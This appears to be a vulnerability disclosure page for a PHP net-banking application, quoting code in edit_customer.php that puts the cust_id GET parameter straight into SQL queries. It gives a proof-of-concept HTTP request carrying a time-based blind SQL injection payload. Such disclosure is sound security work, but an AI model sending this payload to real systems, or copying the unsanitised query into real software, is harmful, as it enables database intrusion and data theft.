0clickjacking0 新增漏洞分析文章 History

1 contributor

38 lines (30 sloc) | 1.33 KB

Vulnerability file address

`net-banking/edit_customer.php` from line 16,The `$_GET['cust_id']` parameter is controllable, the parameter cust_id can be passed through get, and the `$_GET['cust_id']` is not protected from sql injection, line 23 `$result0 = $conn->query($sql0);` made a sql query,resulting in sql injection

```
......
......
......
    if (isset($_GET['cust_id'])) {
        $_SESSION['cust_id'] = $_GET['cust_id'];
    }

    $sql0 = "SELECT * FROM customer WHERE cust_id=".$_SESSION['cust_id'];
    $sql1 = "SELECT * FROM passbook".$_SESSION['cust_id']." WHERE trans_id=(
                    SELECT MAX(trans_id) FROM passbook".$_SESSION['cust_id'].")";

    $result0 = $conn->query($sql0);
......
......
......
```

POC

```
GET /net-banking/edit_customer.php?cust_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Fi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Attack results pictures